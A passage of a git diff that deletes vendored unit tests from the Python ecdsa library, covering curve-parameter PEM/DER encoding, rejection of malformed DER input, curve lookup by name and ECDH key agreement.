"MIHgAgEBMCwGByqGSM49AQECIQD/////AAAAAQAAAAAAAAAAAAAAAP/////////\n" - "//////zBEBCD/////AAAAAQAAAAAAAAAAAAAAAP///////////////AQgWsY12K\n" - "o6k+ez671VdpiGvGUdBrDMU7D2O848PifSYEsEQQRrF9Hy4SxCR/i85uVjpEDyd\n" - "wN9gS3rM6D0oTlF2JjClk/jQuL+Gn+bjufrSnwPnhYrzjNXazFezsu2QGg3v1H1\n" - "AiEA/////wAAAAD//////////7zm+q2nF56E87nKwvxjJVECAQE=\n" - "-----END EC PARAMETERS-----\n" - ) - curve = Curve.from_pem(pem_params) - - self.assertIs(curve, NIST256p) - - def test_from_pem_with_explicit_when_explicit_disabled(self): - pem_params = ( - "-----BEGIN EC PARAMETERS-----\n" - "MIHgAgEBMCwGByqGSM49AQECIQD/////AAAAAQAAAAAAAAAAAAAAAP/////////\n" - "//////zBEBCD/////AAAAAQAAAAAAAAAAAAAAAP///////////////AQgWsY12K\n" - "o6k+ez671VdpiGvGUdBrDMU7D2O848PifSYEsEQQRrF9Hy4SxCR/i85uVjpEDyd\n" - "wN9gS3rM6D0oTlF2JjClk/jQuL+Gn+bjufrSnwPnhYrzjNXazFezsu2QGg3v1H1\n" - "AiEA/////wAAAAD//////////7zm+q2nF56E87nKwvxjJVECAQE=\n" - "-----END EC PARAMETERS-----\n" - ) - with self.assertRaises(der.UnexpectedDER) as e: - Curve.from_pem(pem_params, ["named_curve"]) - - self.assertIn("explicit curve parameters not", str(e.exception)) - - def test_from_pem_with_named_curve_with_named_curve_disabled(self): - pem_params = ( - "-----BEGIN EC PARAMETERS-----\n" - "BggqhkjOPQMBBw==\n" - "-----END EC PARAMETERS-----\n" - ) - with self.assertRaises(der.UnexpectedDER) as e: - Curve.from_pem(pem_params, ["explicit"]) - - self.assertIn("named_curve curve parameters not", str(e.exception)) - - def test_from_pem_with_wrong_header(self): - pem_params = ( - "-----BEGIN PARAMETERS-----\n" - "MIHgAgEBMCwGByqGSM49AQECIQD/////AAAAAQAAAAAAAAAAAAAAAP/////////\n" - "//////zBEBCD/////AAAAAQAAAAAAAAAAAAAAAP///////////////AQgWsY12K\n" - "o6k+ez671VdpiGvGUdBrDMU7D2O848PifSYEsEQQRrF9Hy4SxCR/i85uVjpEDyd\n" - "wN9gS3rM6D0oTlF2JjClk/jQuL+Gn+bjufrSnwPnhYrzjNXazFezsu2QGg3v1H1\n" - "AiEA/////wAAAAD//////////7zm+q2nF56E87nKwvxjJVECAQE=\n" - "-----END PARAMETERS-----\n" - ) - with self.assertRaises(der.UnexpectedDER) as e: - Curve.from_pem(pem_params) - - self.assertIn("PARAMETERS PEM header", str(e.exception)) - - def test_to_pem(self): - pem_params = ( - b"-----BEGIN EC PARAMETERS-----\n" - b"BggqhkjOPQMBBw==\n" - b"-----END EC PARAMETERS-----\n" - ) - encoding = NIST256p.to_pem() - - self.assertEqual(pem_params, encoding) - - def test_compare_with_different_object(self): - self.assertNotEqual(NIST256p, 256) - - def test_named_curve_params_der(self): - encoded = NIST256p.to_der() - - # just the encoding of the NIST256p OID (prime256v1) - self.assertEqual(b"\x06\x08\x2a\x86\x48\xce\x3d\x03\x01\x07", encoded) - - def test_verify_that_default_is_named_curve_der(self): - encoded_default = NIST256p.to_der() - encoded_named = NIST256p.to_der("named_curve") - - self.assertEqual(encoded_default, encoded_named) - - def test_encoding_to_explicit_params(self): - encoded = NIST256p.to_der("explicit") - - self.assertEqual(encoded, bytes(base64.b64decode(self.base64_params))) - - def test_encoding_to_unsupported_type(self): - with self.assertRaises(ValueError) as e: - NIST256p.to_der("unsupported") - - self.assertIn("Only 'named_curve'", str(e.exception)) - - def test_encoding_to_explicit_compressed_params(self): - encoded = NIST256p.to_der("explicit", "compressed") - - compressed_base_point = ( - "MIHAAgEBMCwGByqGSM49AQECIQD/////AAAAAQAAAAAAAAAAAAAAAP//////////" - "/////zBEBCD/////AAAAAQAAAAAAAAAAAAAAAP///////////////AQgWsY12Ko6" - "k+ez671VdpiGvGUdBrDMU7D2O848PifSYEsEIQNrF9Hy4SxCR/i85uVjpEDydwN9" - "gS3rM6D0oTlF2JjClgIhAP////8AAAAA//////////+85vqtpxeehPO5ysL8YyVR" - "AgEB" - ) - - self.assertEqual( - encoded, bytes(base64.b64decode(compressed_base_point)) - ) - - def test_decoding_explicit_from_openssl(self): - # generated with openssl 1.1.1k using - # openssl ecparam -name P-256 -param_enc explicit -out /tmp/file.pem - p256_explicit = ( - "MIH3AgEBMCwGByqGSM49AQECIQD/////AAAAAQAAAAAAAAAAAAAAAP//////////" - "/////zBbBCD/////AAAAAQAAAAAAAAAAAAAAAP///////////////AQgWsY12Ko6" - "k+ez671VdpiGvGUdBrDMU7D2O848PifSYEsDFQDEnTYIhucEk2pmeOETnSa3gZ9+" - "kARBBGsX0fLhLEJH+Lzm5WOkQPJ3A32BLeszoPShOUXYmMKWT+NC4v4af5uO5+tK" - "fA+eFivOM1drMV7Oy7ZAaDe/UfUCIQD/////AAAAAP//////////vOb6racXnoTz" - "ucrC/GMlUQIBAQ==" - ) - - decoded = Curve.from_der(bytes(base64.b64decode(p256_explicit))) - - self.assertEqual(NIST256p, decoded) - - def test_decoding_well_known_from_explicit_params(self): - curve = Curve.from_der(bytes(base64.b64decode(self.base64_params))) - - self.assertIs(curve, NIST256p) - - def test_decoding_with_incorrect_valid_encodings(self): - with self.assertRaises(ValueError) as e: - Curve.from_der(b"", ["explicitCA"]) - - self.assertIn("Only named_curve", str(e.exception)) - - def test_compare_curves_with_different_generators(self): - curve_fp = CurveFp(23, 1, 7) - base_a = PointJacobi(curve_fp, 13, 3, 1, 9, generator=True) - base_b = PointJacobi(curve_fp, 1, 20, 1, 9, generator=True) - - curve_a = Curve("unknown", curve_fp, base_a, None) - curve_b = Curve("unknown", curve_fp, base_b, None) - - self.assertNotEqual(curve_a, curve_b) - - def test_default_encode_for_custom_curve(self): - curve_fp = CurveFp(23, 1, 7) - base_point = PointJacobi(curve_fp, 13, 3, 1, 9, generator=True) - - curve = Curve("unknown", curve_fp, base_point, None) - - encoded = curve.to_der() - - decoded = Curve.from_der(encoded) - - self.assertEqual(curve, decoded) - - expected = "MCECAQEwDAYHKoZIzj0BAQIBFzAGBAEBBAEHBAMEDQMCAQk=" - - self.assertEqual(encoded, bytes(base64.b64decode(expected))) - - def test_named_curve_encode_for_custom_curve(self): - curve_fp = CurveFp(23, 1, 7) - base_point = PointJacobi(curve_fp, 13, 3, 1, 9, generator=True) - - curve = Curve("unknown", curve_fp, base_point, None) - - with self.assertRaises(UnknownCurveError) as e: - curve.to_der("named_curve") - - self.assertIn("Can't encode curve", str(e.exception)) - - def test_try_decoding_binary_explicit(self): - sect113r1_explicit = ( - "MIGRAgEBMBwGByqGSM49AQIwEQIBcQYJKoZIzj0BAgMCAgEJMDkEDwAwiCUMpufH" - "/mSc6Fgg9wQPAOi+5NPiJgdEGIvg6ccjAxUAEOcjqxTWluZ2h1YVF1b+v4/LSakE" - "HwQAnXNhbzX0qxQH1zViwQ8ApSgwJ3lY7oTRMV7TGIYCDwEAAAAAAAAA2czsijnl" - "bwIBAg==" - ) - - with self.assertRaises(UnknownCurveError) as e: - Curve.from_der(base64.b64decode(sect113r1_explicit)) - - self.assertIn("Characteristic 2 curves unsupported", str(e.exception)) - - def test_decode_malformed_named_curve(self): - bad_der = der.encode_oid(*NIST256p.oid) + der.encode_integer(1) - - with self.assertRaises(der.UnexpectedDER) as e: - Curve.from_der(bad_der) - - self.assertIn("Unexpected data after OID", str(e.exception)) - - def test_decode_malformed_explicit_garbage_after_ECParam(self): - bad_der = bytes( - base64.b64decode(self.base64_params) - ) + der.encode_integer(1) - - with self.assertRaises(der.UnexpectedDER) as e: - Curve.from_der(bad_der) - - self.assertIn("Unexpected data after ECParameters", str(e.exception)) - - def test_decode_malformed_unknown_version_number(self): - bad_der = der.encode_sequence(der.encode_integer(2)) - - with self.assertRaises(der.UnexpectedDER) as e: - Curve.from_der(bad_der) - - self.assertIn("Unknown parameter encoding format", str(e.exception)) - - def test_decode_malformed_unknown_field_type(self): - curve_p = NIST256p.curve.p() - bad_der = der.encode_sequence( - der.encode_integer(1), - der.encode_sequence( - der.encode_oid(1, 2, 3), der.encode_integer(curve_p) - ), - der.encode_sequence( - der.encode_octet_string( - number_to_string(NIST256p.curve.a() % curve_p, curve_p) - ), - der.encode_octet_string( - number_to_string(NIST256p.curve.b(), curve_p) - ), - ), - der.encode_octet_string( - NIST256p.generator.to_bytes("uncompressed") - ), - der.encode_integer(NIST256p.generator.order()), - ) - - with self.assertRaises(UnknownCurveError) as e: - Curve.from_der(bad_der) - - self.assertIn("Unknown field type: (1, 2, 3)", str(e.exception)) - - def test_decode_malformed_garbage_after_prime(self): - curve_p = NIST256p.curve.p() - bad_der = der.encode_sequence( - der.encode_integer(1), - der.encode_sequence( - der.encode_oid(*PRIME_FIELD_OID), - der.encode_integer(curve_p), - der.encode_integer(1), - ), - der.encode_sequence( - der.encode_octet_string( - number_to_string(NIST256p.curve.a() % curve_p, curve_p) - ), - der.encode_octet_string( - number_to_string(NIST256p.curve.b(), curve_p) - ), - ), - der.encode_octet_string( - NIST256p.generator.to_bytes("uncompressed") - ), - der.encode_integer(NIST256p.generator.order()), - ) - - with self.assertRaises(der.UnexpectedDER) as e: - Curve.from_der(bad_der) - - self.assertIn("Prime-p element", str(e.exception)) - - -class TestCurveSearching(unittest.TestCase): - def test_correct_name(self): - c = curve_by_name("NIST256p") - self.assertIs(c, NIST256p) - - def test_openssl_name(self): - c = curve_by_name("prime256v1") - self.assertIs(c, NIST256p) - - def test_unknown_curve(self): - with self.assertRaises(UnknownCurveError) as e: - curve_by_name("foo bar") - - self.assertIn( - "name 'foo bar' unknown, only curves supported: " - "['NIST192p', 'NIST224p'", - str(e.exception), - ) - - def test_with_None_as_parameter(self): - with self.assertRaises(UnknownCurveError) as e: - curve_by_name(None) - - self.assertIn( - "name None unknown, only curves supported: " - "['NIST192p', 'NIST224p'", - str(e.exception), - ) - - -@pytest.mark.parametrize("curve", curves, ids=[i.name for i in curves]) -def test_curve_params_encode_decode_named(curve): - ret = Curve.from_der(curve.to_der("named_curve")) - - assert curve == ret - - -@pytest.mark.parametrize("curve", curves, ids=[i.name for i in curves]) -def test_curve_params_encode_decode_explicit(curve): - if isinstance(curve.curve, CurveEdTw): - with pytest.raises(UnknownCurveError): - curve.to_der("explicit") - else: - ret = Curve.from_der(curve.to_der("explicit")) - - assert curve == ret - - -@pytest.mark.parametrize("curve", curves, ids=[i.name for i in curves]) -def test_curve_params_encode_decode_default(curve): - ret = Curve.from_der(curve.to_der()) - - assert curve == ret - - -@pytest.mark.parametrize("curve", curves, ids=[i.name for i in curves]) -def test_curve_params_encode_decode_explicit_compressed(curve): - if isinstance(curve.curve, CurveEdTw): - with pytest.raises(UnknownCurveError): - curve.to_der("explicit", "compressed") - else: - ret = Curve.from_der(curve.to_der("explicit", "compressed")) - - assert curve == ret diff --git a/venv/Lib/site-packages/ecdsa/test_der.py b/venv/Lib/site-packages/ecdsa/test_der.py deleted file mode 100644 index 33a2dca68feed844b6032e59e0b3c749ebd6f27f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/test_der.py +++ /dev/null @@ -1,622 +0,0 @@ -# compatibility with Python 2.6, for that we need unittest2 package, -# which is not available on 3.3 or 3.4 -import warnings -from binascii import hexlify - -try: - import unittest2 as unittest -except ImportError: - import unittest -import sys -import hypothesis.strategies as st -from hypothesis import given, settings -import pytest -from ._compat import str_idx_as_int -from .curves import NIST256p, NIST224p -from .der import ( - remove_integer, - UnexpectedDER, - read_length, - encode_bitstring, - remove_bitstring, - remove_object, - encode_oid, - remove_constructed, - remove_implicit, - remove_octet_string, - remove_sequence, - encode_implicit, -) - - -class TestRemoveInteger(unittest.TestCase): - # DER requires the integers to be 0-padded only if they would be - # interpreted as negative, check if those errors are detected - def test_non_minimal_encoding(self): - with self.assertRaises(UnexpectedDER): - remove_integer(b"\x02\x02\x00\x01") - - def test_negative_with_high_bit_set(self): - with self.assertRaises(UnexpectedDER): - remove_integer(b"\x02\x01\x80") - - def test_minimal_with_high_bit_set(self): - val, rem = remove_integer(b"\x02\x02\x00\x80") - - self.assertEqual(val, 0x80) - self.assertEqual(rem, b"") - - def test_two_zero_bytes_with_high_bit_set(self): - with self.assertRaises(UnexpectedDER): - remove_integer(b"\x02\x03\x00\x00\xff") - - def test_zero_length_integer(self): - with self.assertRaises(UnexpectedDER): - remove_integer(b"\x02\x00") - - def test_empty_string(self): - with self.assertRaises(UnexpectedDER): - remove_integer(b"") - - def test_encoding_of_zero(self): - val, rem = remove_integer(b"\x02\x01\x00") - - self.assertEqual(val, 0) - self.assertEqual(rem, b"") - - def test_encoding_of_127(self): - val, rem = remove_integer(b"\x02\x01\x7f") - - self.assertEqual(val, 127) - self.assertEqual(rem, b"") - - def test_encoding_of_128(self): - val, rem = remove_integer(b"\x02\x02\x00\x80") - - self.assertEqual(val, 128) - self.assertEqual(rem, b"") - - def test_wrong_tag(self): - with self.assertRaises(UnexpectedDER) as e: - remove_integer(b"\x01\x02\x00\x80") - - self.assertIn("wanted type 'integer'", str(e.exception)) - - def test_wrong_length(self): - with self.assertRaises(UnexpectedDER) as e: - remove_integer(b"\x02\x03\x00\x80") - - self.assertIn("Length longer", str(e.exception)) - - -class TestReadLength(unittest.TestCase): - # DER requires the lengths between 0 and 127 to be encoded using the short - # form and lengths above that encoded with minimal number of bytes - # necessary - def test_zero_length(self): - self.assertEqual((0, 1), read_length(b"\x00")) - - def test_two_byte_zero_length(self): - with self.assertRaises(UnexpectedDER): - read_length(b"\x81\x00") - - def test_two_byte_small_length(self): - with self.assertRaises(UnexpectedDER): - read_length(b"\x81\x7f") - - def test_long_form_with_zero_length(self): - with self.assertRaises(UnexpectedDER): - read_length(b"\x80") - - def test_smallest_two_byte_length(self): - self.assertEqual((128, 2), read_length(b"\x81\x80")) - - def test_zero_padded_length(self): - with self.assertRaises(UnexpectedDER): - read_length(b"\x82\x00\x80") - - def test_two_three_byte_length(self): - self.assertEqual((256, 3), read_length(b"\x82\x01\x00")) - - def test_empty_string(self): - with self.assertRaises(UnexpectedDER): - read_length(b"") - - def test_length_overflow(self): - with self.assertRaises(UnexpectedDER): - read_length(b"\x83\x01\x00") - - -class TestEncodeBitstring(unittest.TestCase): - # DER requires BIT STRINGS to include a number of padding bits in the - # encoded byte string, that padding must be between 0 and 7 - - def test_old_call_convention(self): - """This is the old way to use the function.""" - warnings.simplefilter("always") - with pytest.warns(DeprecationWarning) as warns: - der = encode_bitstring(b"\x00\xff") - - self.assertEqual(len(warns), 1) - self.assertIn( - "unused= needs to be specified", warns[0].message.args[0] - ) - - self.assertEqual(der, b"\x03\x02\x00\xff") - - def test_new_call_convention(self): - """This is how it should be called now.""" - # make sure no warnings are raised - with warnings.catch_warnings(): - warnings.simplefilter("error") - der = encode_bitstring(b"\xff", 0) - - self.assertEqual(der, b"\x03\x02\x00\xff") - - def test_implicit_unused_bits(self): - """ - Writing bit string with already included the number of unused bits. - """ - # make sure no warnings are raised - with warnings.catch_warnings(): - warnings.simplefilter("error") - der = encode_bitstring(b"\x00\xff", None) - - self.assertEqual(der, b"\x03\x02\x00\xff") - - def test_explicit_unused_bits(self): - der = encode_bitstring(b"\xff\xf0", 4) - - self.assertEqual(der, b"\x03\x03\x04\xff\xf0") - - def test_empty_string(self): - self.assertEqual(encode_bitstring(b"", 0), b"\x03\x01\x00") - - def test_invalid_unused_count(self): - with self.assertRaises(ValueError): - encode_bitstring(b"\xff\x00", 8) - - def test_invalid_unused_with_empty_string(self): - with self.assertRaises(ValueError): - encode_bitstring(b"", 1) - - def test_non_zero_padding_bits(self): - with self.assertRaises(ValueError): - encode_bitstring(b"\xff", 2) - - -class TestRemoveBitstring(unittest.TestCase): - def test_old_call_convention(self): - """This is the old way to call the function.""" - warnings.simplefilter("always") - with pytest.warns(DeprecationWarning) as warns: - bits, rest = remove_bitstring(b"\x03\x02\x00\xff") - - self.assertEqual(len(warns), 1) - self.assertIn( - "expect_unused= needs to be specified", warns[0].message.args[0] - ) - - self.assertEqual(bits, b"\x00\xff") - self.assertEqual(rest, b"") - - def test_new_call_convention(self): - # make sure no warnings are raised - with warnings.catch_warnings(): - warnings.simplefilter("error") - bits, rest = remove_bitstring(b"\x03\x02\x00\xff", 0) - - self.assertEqual(bits, b"\xff") - self.assertEqual(rest, b"") - - def test_implicit_unexpected_unused(self): - # make sure no warnings are raised - with warnings.catch_warnings(): - warnings.simplefilter("error") - bits, rest = remove_bitstring(b"\x03\x02\x00\xff", None) - - self.assertEqual(bits, (b"\xff", 0)) - self.assertEqual(rest, b"") - - def test_with_padding(self): - ret, rest = remove_bitstring(b"\x03\x02\x04\xf0", None) - - self.assertEqual(ret, (b"\xf0", 4)) - self.assertEqual(rest, b"") - - def test_not_a_bitstring(self): - with self.assertRaises(UnexpectedDER): - remove_bitstring(b"\x02\x02\x00\xff", None) - - def test_empty_encoding(self): - with self.assertRaises(UnexpectedDER): - remove_bitstring(b"\x03\x00", None) - - def test_empty_string(self): - with self.assertRaises(UnexpectedDER): - remove_bitstring(b"", None) - - def test_no_length(self): - with self.assertRaises(UnexpectedDER): - remove_bitstring(b"\x03", None) - - def test_unexpected_number_of_unused_bits(self): - with self.assertRaises(UnexpectedDER): - remove_bitstring(b"\x03\x02\x00\xff", 1) - - def test_invalid_encoding_of_unused_bits(self): - with self.assertRaises(UnexpectedDER): - remove_bitstring(b"\x03\x03\x08\xff\x00", None) - - def test_invalid_encoding_of_empty_string(self): - with self.assertRaises(UnexpectedDER): - remove_bitstring(b"\x03\x01\x01", None) - - def test_invalid_padding_bits(self): - with self.assertRaises(UnexpectedDER): - remove_bitstring(b"\x03\x02\x01\xff", None) - - -class TestStrIdxAsInt(unittest.TestCase): - def test_str(self): - self.assertEqual(115, str_idx_as_int("str", 0)) - - def test_bytes(self): - self.assertEqual(115, str_idx_as_int(b"str", 0)) - - def test_bytearray(self): - self.assertEqual(115, str_idx_as_int(bytearray(b"str"), 0)) - - -class TestEncodeOid(unittest.TestCase): - def test_pub_key_oid(self): - oid_ecPublicKey = encode_oid(1, 2, 840, 10045, 2, 1) - self.assertEqual(hexlify(oid_ecPublicKey), b"06072a8648ce3d0201") - - def test_nist224p_oid(self): - self.assertEqual(hexlify(NIST224p.encoded_oid), b"06052b81040021") - - def test_nist256p_oid(self): - self.assertEqual( - hexlify(NIST256p.encoded_oid), b"06082a8648ce3d030107" - ) - - def test_large_second_subid(self): - # from X.690, section 8.19.5 - oid = encode_oid(2, 999, 3) - self.assertEqual(oid, b"\x06\x03\x88\x37\x03") - - def test_with_two_subids(self): - oid = encode_oid(2, 999) - self.assertEqual(oid, b"\x06\x02\x88\x37") - - def test_zero_zero(self): - oid = encode_oid(0, 0) - self.assertEqual(oid, b"\x06\x01\x00") - - def test_with_wrong_types(self): - with self.assertRaises((TypeError, AssertionError)): - encode_oid(0, None) - - def test_with_small_first_large_second(self): - with self.assertRaises(AssertionError): - encode_oid(1, 40) - - def test_small_first_max_second(self): - oid = encode_oid(1, 39) - self.assertEqual(oid, b"\x06\x01\x4f") - - def test_with_invalid_first(self): - with self.assertRaises(AssertionError): - encode_oid(3, 39) - - -class TestRemoveObject(unittest.TestCase): - @classmethod - def setUpClass(cls): - cls.oid_ecPublicKey = encode_oid(1, 2, 840, 10045, 2, 1) - - def test_pub_key_oid(self): - oid, rest = remove_object(self.oid_ecPublicKey) - self.assertEqual(rest, b"") - self.assertEqual(oid, (1, 2, 840, 10045, 2, 1)) - - def test_with_extra_bytes(self): - oid, rest = remove_object(self.oid_ecPublicKey + b"more") - self.assertEqual(rest, b"more") - self.assertEqual(oid, (1, 2, 840, 10045, 2, 1)) - - def test_with_large_second_subid(self): - # from X.690, section 8.19.5 - oid, rest = remove_object(b"\x06\x03\x88\x37\x03") - self.assertEqual(rest, b"") - self.assertEqual(oid, (2, 999, 3)) - - def test_with_padded_first_subid(self): - with self.assertRaises(UnexpectedDER): - remove_object(b"\x06\x02\x80\x00") - - def test_with_padded_second_subid(self): - with self.assertRaises(UnexpectedDER): - remove_object(b"\x06\x04\x88\x37\x80\x01") - - def test_with_missing_last_byte_of_multi_byte(self): - with self.assertRaises(UnexpectedDER): - remove_object(b"\x06\x03\x88\x37\x83") - - def test_with_two_subids(self): - oid, rest = remove_object(b"\x06\x02\x88\x37") - self.assertEqual(rest, b"") - self.assertEqual(oid, (2, 999)) - - def test_zero_zero(self): - oid, rest = remove_object(b"\x06\x01\x00") - self.assertEqual(rest, b"") - self.assertEqual(oid, (0, 0)) - - def test_empty_string(self): - with self.assertRaises(UnexpectedDER): - remove_object(b"") - - def test_missing_length(self): - with self.assertRaises(UnexpectedDER): - remove_object(b"\x06") - - def test_empty_oid(self): - with self.assertRaises(UnexpectedDER): - remove_object(b"\x06\x00") - - def test_empty_oid_overflow(self): - with self.assertRaises(UnexpectedDER): - remove_object(b"\x06\x01") - - def test_with_wrong_type(self): - with self.assertRaises(UnexpectedDER): - remove_object(b"\x04\x02\x88\x37") - - def test_with_too_long_length(self): - with self.assertRaises(UnexpectedDER): - remove_object(b"\x06\x03\x88\x37") - - -class TestRemoveConstructed(unittest.TestCase): - def test_simple(self): - data = b"\xa1\x02\xff\xaa" - - tag, body, rest = remove_constructed(data) - - self.assertEqual(tag, 0x01) - self.assertEqual(body, b"\xff\xaa") - self.assertEqual(rest, b"") - - def test_with_malformed_tag(self): - data = b"\x01\x02\xff\xaa" - - with self.assertRaises(UnexpectedDER) as e: - remove_constructed(data) - - self.assertIn("constructed tag", str(e.exception)) - - -class TestRemoveImplicit(unittest.TestCase): - @classmethod - def setUpClass(cls): - cls.exp_tag = 6 - cls.exp_data = b"\x0a\x0b" - # data with application tag class - cls.data_application = b"\x46\x02\x0a\x0b" - # data with context-specific tag class - cls.data_context_specific = b"\x86\x02\x0a\x0b" - # data with private tag class - cls.data_private = b"\xc6\x02\x0a\x0b" - - def test_simple(self): - tag, body, rest = remove_implicit(self.data_context_specific) - - self.assertEqual(tag, self.exp_tag) - self.assertEqual(body, self.exp_data) - self.assertEqual(rest, b"") - - def test_wrong_expected_class(self): - with self.assertRaises(ValueError) as e: - remove_implicit(self.data_context_specific, "foobar") - - self.assertIn("invalid `exp_class` value", str(e.exception)) - - def test_with_wrong_class(self): - with self.assertRaises(UnexpectedDER) as e: - remove_implicit(self.data_application) - - self.assertIn( - "wanted class context-specific, got 0x46 tag", str(e.exception) - ) - - def test_with_application_class(self): - tag, body, rest = remove_implicit(self.data_application, "application") - - self.assertEqual(tag, self.exp_tag) - self.assertEqual(body, self.exp_data) - self.assertEqual(rest, b"") - - def test_with_private_class(self): - tag, body, rest = remove_implicit(self.data_private, "private") - - self.assertEqual(tag, self.exp_tag) - self.assertEqual(body, self.exp_data) - self.assertEqual(rest, b"") - - def test_with_data_following(self): - extra_data = b"\x00\x01" - - tag, body, rest = remove_implicit( - self.data_context_specific + extra_data - ) - - self.assertEqual(tag, self.exp_tag) - self.assertEqual(body, self.exp_data) - self.assertEqual(rest, extra_data) - - def test_with_constructed(self): - data = b"\xa6\x02\x0a\x0b" - - with self.assertRaises(UnexpectedDER) as e: - remove_implicit(data) - - self.assertIn("wanted type primitive, got 0xa6 tag", str(e.exception)) - - def test_encode_decode(self): - data = b"some longish string" - - tag, body, rest = remove_implicit( - encode_implicit(6, data, "application"), "application" - ) - - self.assertEqual(tag, 6) - self.assertEqual(body, data) - self.assertEqual(rest, b"") - - -class TestEncodeImplicit(unittest.TestCase): - @classmethod - def setUpClass(cls): - cls.data = b"\x0a\x0b" - # data with application tag class - cls.data_application = b"\x46\x02\x0a\x0b" - # data with context-specific tag class - cls.data_context_specific = b"\x86\x02\x0a\x0b" - # data with private tag class - cls.data_private = b"\xc6\x02\x0a\x0b" - - def test_encode_with_default_class(self): - ret = encode_implicit(6, self.data) - - self.assertEqual(ret, self.data_context_specific) - - def test_encode_with_application_class(self): - ret = encode_implicit(6, self.data, "application") - - self.assertEqual(ret, self.data_application) - - def test_encode_with_context_specific_class(self): - ret = encode_implicit(6, self.data, "context-specific") - - self.assertEqual(ret, self.data_context_specific) - - def test_encode_with_private_class(self): - ret = encode_implicit(6, self.data, "private") - - self.assertEqual(ret, self.data_private) - - def test_encode_with_invalid_class(self): - with self.assertRaises(ValueError) as e: - encode_implicit(6, self.data, "foobar") - - self.assertIn("invalid tag class", str(e.exception)) - - def test_encode_with_too_large_tag(self): - with self.assertRaises(ValueError) as e: - encode_implicit(32, self.data) - - self.assertIn("Long tags not supported", str(e.exception)) - - -class TestRemoveOctetString(unittest.TestCase): - def test_simple(self): - data = b"\x04\x03\xaa\xbb\xcc" - body, rest = remove_octet_string(data) - self.assertEqual(body, b"\xaa\xbb\xcc") - self.assertEqual(rest, b"") - - def test_with_malformed_tag(self): - data = b"\x03\x03\xaa\xbb\xcc" - with self.assertRaises(UnexpectedDER) as e: - remove_octet_string(data) - - self.assertIn("octetstring", str(e.exception)) - - -class TestRemoveSequence(unittest.TestCase): - def test_simple(self): - data = b"\x30\x02\xff\xaa" - body, rest = remove_sequence(data) - self.assertEqual(body, b"\xff\xaa") - self.assertEqual(rest, b"") - - def test_with_empty_string(self): - with self.assertRaises(UnexpectedDER) as e: - remove_sequence(b"") - - self.assertIn("Empty string", str(e.exception)) - - def test_with_wrong_tag(self): - data = b"\x20\x02\xff\xaa" - - with self.assertRaises(UnexpectedDER) as e: - remove_sequence(data) - - self.assertIn("wanted type 'sequence'", str(e.exception)) - - def test_with_wrong_length(self): - data = b"\x30\x03\xff\xaa" - - with self.assertRaises(UnexpectedDER) as e: - remove_sequence(data) - - self.assertIn("Length longer", str(e.exception)) - - -@st.composite -def st_oid(draw, max_value=2**512, max_size=50): - """ - Hypothesis strategy that returns valid OBJECT IDENTIFIERs as tuples - - :param max_value: maximum value of any single sub-identifier - :param max_size: maximum length of the generated OID - """ - first = draw(st.integers(min_value=0, max_value=2)) - if first < 2: - second = draw(st.integers(min_value=0, max_value=39)) - else: - second = draw(st.integers(min_value=0, max_value=max_value)) - rest = draw( - st.lists( - st.integers(min_value=0, max_value=max_value), max_size=max_size - ) - ) - return (first, second) + tuple(rest) - - -HYP_SETTINGS = {} - - -if "--fast" in sys.argv: # pragma: no cover - HYP_SETTINGS["max_examples"] = 2 - - -@settings(**HYP_SETTINGS) -@given(st_oid()) -def test_oids(ids): - encoded_oid = encode_oid(*ids) - decoded_oid, rest = remove_object(encoded_oid) - assert rest == b"" - assert decoded_oid == ids - -def test_remove_octet_string_rejects_truncated_length(): - # OCTET STRING: declared length 4096, but only 3 bytes present - bad = b"\x04\x82\x10\x00" + b"ABC" - with pytest.raises(UnexpectedDER, match="Length longer than the provided buffer"): - remove_octet_string(bad) - -def test_remove_constructed_rejects_truncated_length(): - # Constructed tag: 0xA0 (context-specific constructed, tag=0) - # declared length 4096, but only 3 bytes present - bad = b"\xA0\x82\x10\x00" + b"ABC" - with pytest.raises(UnexpectedDER, match="Length longer than the provided buffer"): - remove_constructed(bad) - -def test_remove_implicit_rejects_truncated_length(): - # IMPLICIT primitive context-specific tag 0: 0x80 - # declared length 4096, but only 3 bytes present - bad = b"\x80\x82\x10\x00" + b"ABC" - with pytest.raises(UnexpectedDER, match="Length longer than the provided buffer"): - remove_implicit(bad) diff --git a/venv/Lib/site-packages/ecdsa/test_ecdh.py b/venv/Lib/site-packages/ecdsa/test_ecdh.py deleted file mode 100644 index cb225803739153b1700fc0041fe0592ae7f83b14..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/test_ecdh.py +++ /dev/null @@ -1,449 +0,0 @@ -import os -import sys -import shutil -import subprocess -import pytest -from binascii import unhexlify - -try: - import unittest2 as unittest -except ImportError: - import unittest - -from .curves import ( - NIST192p, - NIST224p, - NIST256p, - NIST384p, - NIST521p, - BRAINPOOLP160r1, - SECP112r2, - SECP128r1, -) -from .curves import curves -from .ecdh import ( - ECDH, - InvalidCurveError, - InvalidSharedSecretError, - NoKeyError, - NoCurveError, -) -from .keys import SigningKey, VerifyingKey -from .ellipticcurve import CurveEdTw - - -if "--fast" in sys.argv: # pragma: no cover - curves = [SECP112r2, SECP128r1] - - -@pytest.mark.parametrize( - "vcurve", - curves, - ids=[curve.name for curve in curves], -) -def test_ecdh_each(vcurve): - if isinstance(vcurve.curve, CurveEdTw): - pytest.skip("ECDH is not supported for Edwards curves") - ecdh1 = ECDH(curve=vcurve) - ecdh2 = ECDH(curve=vcurve) - - ecdh2.generate_private_key() - ecdh1.load_received_public_key(ecdh2.get_public_key()) - ecdh2.load_received_public_key(ecdh1.generate_private_key()) - - secret1 = ecdh1.generate_sharedsecret_bytes() - secret2 = ecdh2.generate_sharedsecret_bytes() - assert secret1 == secret2 - - -def test_ecdh_both_keys_present(): - key1 = SigningKey.generate(BRAINPOOLP160r1) - key2 = SigningKey.generate(BRAINPOOLP160r1) - - ecdh1 = ECDH(BRAINPOOLP160r1, key1, key2.verifying_key) - ecdh2 = ECDH(private_key=key2, public_key=key1.verifying_key) - - secret1 = ecdh1.generate_sharedsecret_bytes() - secret2 = ecdh2.generate_sharedsecret_bytes() - - assert secret1 == secret2 - - -def test_ecdh_no_public_key(): - ecdh1 = ECDH(curve=NIST192p) - - with pytest.raises(NoKeyError): - ecdh1.generate_sharedsecret_bytes() - - ecdh1.generate_private_key() - - with pytest.raises(NoKeyError): - ecdh1.generate_sharedsecret_bytes() - - -class TestECDH(unittest.TestCase): - def test_load_key_from_wrong_curve(self): - ecdh1 = ECDH() - ecdh1.set_curve(NIST192p) - - key1 = SigningKey.generate(BRAINPOOLP160r1) - - with 